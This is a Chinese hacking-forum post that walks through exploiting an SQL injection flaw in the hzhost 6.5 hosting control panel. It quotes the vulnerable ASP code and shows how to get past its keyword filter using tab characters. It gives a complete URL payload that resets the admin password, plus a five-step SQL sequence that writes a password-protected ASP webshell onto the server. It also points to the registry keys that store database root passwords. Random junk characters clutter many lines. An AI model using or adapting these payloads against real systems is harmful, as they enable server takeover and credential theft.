找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1875|回复: 0
打印 上一主题 下一主题

再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 15:03:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。
7 ~4 V$ s3 G/ e. ^4 ? 只讲两个要点。
& q- l* I6 r5 ?) K第一,如何拿网站管理员权限。5 ~, C8 }- `& \- l4 D  S8 V( z
第二,如何备份木马。
8 t% e5 l2 I1 N0 l' d2 \ 这次不是简单的注射点,而是经过安全函数过滤的了点。由于对方没有将变量用单引号包起来,而过滤函数又未过滤完全,导致我们有机会进行注射。3 Y& {3 U1 o: F) g: n$ z
我这次还做了个动画。一并发放。希望能让大家玩得"happy"!哈哈。。。8 y# S& R' h" f- E
httP://www.xxbing.com QQ178737315+ n  S) ]  W( n5 B3 @
由于我写了很长,而且很累了,所以希望大家回帖鼓励一下。
" Y! A7 _6 W  [4 I; a" X------------开放浏览-------------
3 ~5 i; c, @, C6 ?: v" R5 B! P 漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中!* V/ [8 ^" k+ d! k% [% n( c
-------------------------13-15行----------------------------" D, x% D8 w) A- l
querytype=SafeRequest("querytype")  //saferequest函数接受数据
  d* ?1 V$ C2 F$ ?3 @ if chk_int(querytype)=false then  //检查是否是整数: {5 g4 B  m! }" V
    ErrMsg="<font color=#ff0000>对不起</font>,非法操作!..."
6 k3 o$ Q  N9 j. m/ g -------------------------37-42行---------------------------( a9 l, _! m: F  C3 {5 R" \  R
elseif querytype=5 then //如果类型为5。就接受qu1数据!9 f& e6 R/ p2 t" D
   qu1=trim(SafeRequest("qu1"))      //saferequest函数接受数据,他自己定义的saferequest函数!
; c! D) I6 x6 ]6 G  H   0 s! a  h8 f' R$ |
    if  qu1="" then  //不能为空
# E: L# C7 t+ u1 Q         call errorpage(-2,"对不起,请选择参数!")
2 Z2 H, ]; T5 I5 [6 a   end if         
) d2 H4 B) S% m. ]0 n7 d1 h      qstring=" and s_regstt="&qu1&" "  //这里是关键  qu1没有用单引号包围,虽然用了saferequest,但是我们可以绕过!
$ S; u8 Q% H+ \7 O) z -------------------------62-65行---------------------------
& F( C+ O6 ?1 [/ K: y' W2 {) ? qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据, z, Z4 W" }9 h; J6 b5 s7 y1 _+ k
if qu7<>"" then
0 A5 H' ~( ~+ I" g- e5 Iqstring2=" and u_nme='"&qu7&"'" //这里被单引号包围了。  这里被包围了,所以这里成了死点!!
) o! g) x7 P' Q end if
7 w- i$ }# o* i) E --------------------------117行-----------------------------5 k) U# }3 n: I8 R# n
query="select * from v_ot2lst where  (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%')    "&qstring&qstring2&"  order by "&orderstring
  u" T) `9 ~# z& H' F. J //到这里就丢进去查询了!
2 c) e9 d- s9 d4 z7 z
" B# f. C- Y4 G; j4 a3 q9 r' w 来看看saferequest()函数。$ t1 y' v& J( a& z$ |; W1 A& `
------------------incs/config.asp中-------------------------  M3 g: Q& W' h7 U- Z
Function SafeRequest(ParaName)
) p$ q' R0 j2 i1 ?5 c Dim ParaValue
0 Y$ x1 G; r7 C* N( k( T9 N ParaValue=Request(ParaName)  //获取数据7 h8 G8 D, X1 r
if IsNumeric(ParaValue)  then  //如果是数字
7 ]' i! S9 v+ u  Y SafeRequest=ParaValue  //那就不过滤,直接赋值: }0 z& U% b0 y: P  Q
exit Function
! B. }. y+ _. \8 m8 N  @' l
) \- W; }" A7 W. c+ M6 g1 W9 w else
. X1 u& l1 h3 o1 F( f7 e- ]$ G ParaValuetemp=lcase(ParaValue)    //如果不是数字,先把接到的数据全部转为小写
& Z( X6 u0 m0 |# ]6 o tempvalue="select |insert |delete from|'|count(|drop table|update |truncate  |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from"
7 u5 X* Z4 c5 y7 p3 s! I //定义要过滤的字符!
/ i8 a9 I. `* a" B9 d2 q9 Z& K# X6 x0 Z% J: {
他过滤方式有问题。。。没有过滤 * / % / -- / ;/ D5 R$ H* i, Y: j/ E8 n# Y
而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。
) g: _0 G3 L$ L; D% O9 l0 S$ g- D3 n0 b$ ^; B% z# L$ D
temps=split(tempvalue,"|")           //转为一维数组
2 O- D3 r; l' T7 P' P for mycount=0 to ubound(temps)       //循环读数组内数据# Z: d2 m! ]! V
if  Instr(ParaValuetemp,temps(mycount)) > 0 then   //判断用户提交的数据是否包含了 非法字符。: X" ?; h3 \+ ~" j- `8 {
                 call errorpage(-2,"非法请求!!!")  //如果有则弹出提示!!
& S( ^8 R8 G8 S# k) B3 o9 \                 response.end
+ S5 h- y- r/ L6 G8 ~0 b* Z end if
0 E, B5 w  z1 t8 z. v2 c* h# d next
& l/ Q0 ~/ l1 }+ v" q" C SafeRequest=ParaValue
& S* K3 m2 i% |0 a: H1 P5 y end if
" o# ]$ c0 j9 u% [ End function
" [3 w+ O7 i/ E7 v -------------------------------------" t. z5 e7 a) z  y
, I2 c) v, I1 J/ l" ?5 Z
所以我们构造注射点的思路就是:不能出现单引号,update,select等等两边都要用%09(tab)..仔细看清楚。上面过滤的是update+空格。select+空格。$ W. `9 T& N) B
先给出查询语句的框架。
2 E, K4 c6 b1 {" jselect * from v_ot2lst where  (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc
2 {( t) r- |' d- j
, o- P( v9 Q3 U4 V( z 为了使语句顺利执行:
% g; D/ }4 s  h8 j; c  X: R 我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他,是因为注释后,实际查询出错了。
  O' G& T/ i9 ^5 o 这里我给出条示范语句,即{我们的语句}
! G4 O# f- r$ `* E8 \* b! AUPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E& i  b" J+ u% N5 t' u, Q( i
1 S4 {" [3 m- a: b9 @/ ?$ F
这条语句能够绕过saferequest函数的检测。没有出现单引号。
  U) x6 Q) J! @/ o 我们提交:$ B# u/ e# ^) q+ s
http://www.xxxxxx.com/control/ot ... amp;qu1=1;UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1' a8 S$ [/ k2 r/ z

; }9 v+ h0 F9 b1 c+ S! W% Q' ] 这句话就能够将admin的密码修改成1234566 A: T0 b! O! h
到此第一个目的就达到了。如果admin不是超级管理员。那么请看《HZHOST域名虚拟主机管理系统sql注射漏洞》中所提到的方法。相关语句请自己转换。: \! I5 C! |. H6 y& a
第二步是要备份挂马。# ?; e% ~6 H4 \
大家看动画中的备马这么简单,当初难了我老半天。saferequest过滤了char(- Y7 c1 |" Q/ ]8 d
导致备马的这条语句失败。
3 x* u6 o  u9 f3 Q! g" Tdeclare @a sysname,@s varchar(4000) select @a=db_name(),@s=。。。。。。。。。) T0 Q# |) B* s; Z2 m
" _4 L7 p; C2 t. {3 [
有人给我建议改成 @s ntext 等等,换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。
5 F% B/ C8 q) |1 M' q 由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000),也是可以的。这样我们就饶过了char(
. e& f: H* ~7 C9 _ 接下来放出详细语句。大家放入{我们的语句中}
8 N" c0 I2 ~( Q6 l; D第 一 步:+ U% d, Y2 p: C- u7 X2 m
create table [dbo].[shit_tmp] ([cmd] [image])--0 Q) S! `  r  G2 t: U! j: v' P
第 二 步. b5 h+ F! c+ k) r+ k9 j) J# X
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--
; p' H- m+ P, @2 N! n& X+ q 第 三 步- G' v! [9 W  e1 ?; s( Z- w" d
insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--
: M& C$ w/ n' o/ Z, x 第 四 步
0 u1 _+ W; L3 v8 v declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--
) S% V' [. q: Q5 n4 M' ?/ @6 o 第 五 步
/ B6 U6 i! b# U' z2 H Drop table [shit_tmp]--
2 }6 {/ U: _7 Z8 k+ N% ~4 b7 S
$ h' ~0 u) }! s' t% y3 E 上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。: U) C* R) y$ o# ~
一般来说,我们就能拿到webshell. 至于拿webshell后,如何取得系统权限。
* M/ j8 }" H6 G$ b5 \& f 请看《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用!》
& t4 f8 u) _- K8 C. R' e* l0 ~7 y9 T- k3 S2 A7 r4 W- n) z1 T
最后是答疑部分:
0 K7 h1 @3 ~. w* V 1:这次是get注射,不像上次是post注射。由于没有文本框字符的限制,所以不需要保存网页到本地。' |  D* t. i5 a9 M/ j; A, C& O
: m' B4 r+ D9 A, k- E* _3 V  ?6 @
2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后,成为0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500* Q) r" }$ D. i1 e) S- ~% j' _
这是转为nvarchar型的,我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即:
4 x" ]$ Q( |* V  C, } 0x65313061646333393439626135396162626535366530353766323066383833655 b" w$ s, g) W' f- _
大家仔细观察,会发现,其实只是去掉了一些00。。
, E8 y# E2 I* E! n 所以大家在转换其他md5的时候,注意此问题。& v; L2 b: Q+ H# b4 J; ~- y6 B
8 G4 _0 u# j" P6 j$ F
3:读sa密码,root密码。我们读的是加密了的。还原必须在本机,每台hzhost主机都有自己的密钥,密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。% Z: f( |5 q/ c7 c6 g6 ?( W
另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手,能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。
3 Q0 P- N2 t) Z% ?1 P
7 x+ z5 A. N2 E7 w5 T& ^ 4:备马的问题,备份成功后,可能出现乱码,是由于截断了的原因,大家用NBSI3。去掉2个截断的勾,再生成语句执行就行了。
' p& x/ m9 g! m" d, ^) u$ w6 {3 K 有的服务器可能在备马的过程中出现SQL过期,超时。遇到这样的是对方数据库很大,这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。  t7 A5 i* A  i& w% s, A

' x. v7 w( O, p# R* n3 E) o, I 5:hzhost其实不只这一个注射点,没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。1 `# E  n8 Z3 v0 {3 d1 w' |  X8 _3 h

5 f9 J* O  Q- h$ V% V; d 6::
# F" Q7 [) T! f2 X% Jsa密码。root密码。; Q% i6 m0 g$ e5 v
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\
7 F" \3 {+ B* M+ V. z mysqlpass---root密码! }" g# A8 Y0 Z; R; P1 F1 I
mssqlpss----sa密码0 g2 c- f- u7 j* T' e

" p/ R3 z$ F4 l: t3 u
1 J5 s) x# b% s/ J: B6 w 7.如果路径不在D:/hzhost: l+ G  l0 Y! q% k# b# R
那么就是你人品问题!进后台找找普通用户FTP/web的路径,也许会有些用。
8 M2 B. b7 r8 z$ ` 或者去读注册表。, z1 m- b; t7 Z) W( r( G3 _; Z( {1 L
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ 下% T, i. v3 k6 `" O9 Q5 z
"wwwrootpath"="e:\\wwwroot"% J" i9 J) \6 _- b: Q# i) w+ ?; n" K
"urlsiteroot"="D:\\hzhost\\hzhost_url"
) K: \* }9 j& Y( M" f/ l6 f "ftprootpath"="e:\\ftproot"   可以看出什么? 绝对路径放在注册表中。把注册表中的值更新到某个字段,再去读就行了。(比如用户e-mail中。。)
# V+ I9 g: a  ^# [0 V 大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路!
4 }) z6 V" j/ h# \# N! w
- A# X% r5 L# I* u 利用动画下载地址(送给菜鸟同学们,能看懂文章的大不必下载,只是把文章的内容完全演示了一遍。)
8 M/ T' x, h5 K0 f5 Vhzhost最新漏洞.rar
. Q! q9 v! {' D4 Y: n4 ?1 Q 饿。纳米盘速度可能不咋地。但是由于偶的空间FTP坏了。所以,只能放到这里。抱歉啊!!# I; W" }: i! c7 W" z& {

0 t4 {# z7 m' N' n4 S3 r! x 最后,还是版权。
/ }0 h2 d  j6 ~1 M7 khttp://www.xxbing.com QQ178737315
4 w# n. a2 q: G8 g% q 允许自由转载。但请注明作者。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表